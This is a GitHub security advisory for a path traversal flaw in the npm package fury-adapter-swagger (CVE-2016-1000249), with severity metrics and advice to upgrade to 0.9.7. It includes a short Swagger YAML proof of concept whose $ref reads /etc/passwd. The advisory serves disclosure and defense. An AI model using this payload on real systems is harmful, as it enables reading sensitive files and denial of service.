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fury-adapter-swagger allows arbitrary file read from system

High severity GitHub Reviewed Published Sep 1, 2020 to the GitHub Advisory Database • Updated Sep 11, 2023

Package

npm fury-adapter-swagger (npm)

Affected versions

>= 0.2.0, < 0.9.7

Patched versions

0.9.7

Description

fury-adapter-swagger from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like /dev/zero.

Proof of Concept:

---
swagger: '2.0'
info:
  title: Read local files
  version: '1.0'

paths:
  /foo:
    get:
      responses:
        200:
          description: Some description
          examples:
            text/html:
              example:
                $ref: '/etc/passwd'

Recommendation

Upgrade to version 0.9.7 or later.

References

Reviewed Aug 31, 2020
Published to the GitHub Advisory Database Sep 1, 2020
Last updated Sep 11, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2016-1000249

GHSA ID

GHSA-2r7f-4h2c-5x73

Source code

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